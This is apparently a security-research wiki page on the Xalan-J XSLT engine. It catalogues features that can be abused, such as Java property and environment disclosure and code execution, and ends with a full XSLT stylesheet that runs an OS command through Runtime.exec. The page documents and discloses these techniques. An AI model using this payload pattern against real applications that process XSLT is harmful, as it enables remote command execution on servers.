Wiki source code of Engine_XalanJ

Version 43.1 by Nicolas Gregoire on 2012/01/11 23:31

Show last authors
1 [[Xalan-J>>http://xml.apache.org/xalan-j/||rel="__blank" title="Xalan-J Home Page"]] is a Java based XSLT engine by the Apache Project.
2
3
4 == Supported version ==
5
6 1.0
7
8 == Command line ==
9
10 $> java org.apache.xalan.xslt.Process -in foo.xml -xsl foo.xsl
11
12 __Note__ : xml-apis.jar, xercesImpl.jar and xalan*.jar must be in the $CLASSPATH
13
14 == Identification strings ==
15
16 |=xsl:vendor-url|http:~/~/xml.apache.org/xalan-j
17 |=xsl:vendor|Apache Software Foundation
18 |=xsl:version|1.0
19
20 == Special features ==
21
22 * Java properties disclosure
23 * Java environment disclosure
24 * Java code execution
25 * OS command execution
26 * File creation
27 * JDBC connectivity
28
29 == Java properties disclosure ==
30
31 The xsl:system-property() standard function can be called with non standard arguments, mapped to Java properties. In this example, the name of the Java properties is stored in a separate XML file ([[properties.xml>>attach:properties.xml]]). The XSLT code will, for each property, display its name and its value.
32
33 |=Namespace|=Function|=PoC|=Sample output
34 |http:~/~/www.w3.org/1999/XSL/Transform|system-property()|[[xalanj-java-properties.xsl>>attach:xalanj-java-properties.xsl]]|[[xalanj-java-properties-output.txt>>attach:xalanj-java-properties-output.txt]]
35
36 == Java environment disclosure ==
37
38 The checkEnvironment() extension function (documented [[here>>http://xml.apache.org/xalan-j/faq.html#faq-N10064||rel="__blank"]]) will display some information about the execution context (including available packages, paths, versions, ...).
39
40 |=Namespace|=Extension function|=PoC|=Sample output
41 |http:~/~/xml.apache.org/xalan|checkEnvironment()|[[xalanj-checkenv.xsl>>attach:xalanj-checkenv.xsl]]|[[xalanj-checkenv-output.txt>>attach:xalanj-checkenv-output.txt]]
42
43 == Java code execution ==
44
45 The attached code will display the current date using a newly created "java.util.Date" object. This should be enough to demonstrate Java code execution.
46
47 |=Namespace|=Extension function|=PoC|=Sample output
48 |http:~/~/xml.apache.org/xalan/java/java.util.Date|new()|[[xalanj-java-date.xsl>>attach:xalanj-java-date.xsl]]|Current date:
49 Wed Jan 11 22:45:07 CET 2012
50
51 == Command execution ==
52
53 The following code will execute the command "touch /tmp/hello" :
54
55 <?xml version="1.0"?>
56 <xsl:stylesheet xmlns:xsl="http:~/~/www.w3.org/1999/XSL/Transform"
57 xmlns:j="http:~/~/xml.apache.org/xalan/java"
58 exclude-result-prefixes="j"
59 version="1.0">
60 <xsl:template match="/">
61 <xsl:variable name="c"><![CDATA[touch = /tmp/hello]]></xsl:variable>
62 <xsl:variable name="a" select="j:split($c, ' = ')"/>
63 <xsl:variable name="r" select="j:java.lang.Runtime.getRuntime()"/>
64 <xsl:variable name="p" select="j:exec($r, $a )"/>
65 No content at the moment ...
66 </xsl:template>
67 </xsl:stylesheet>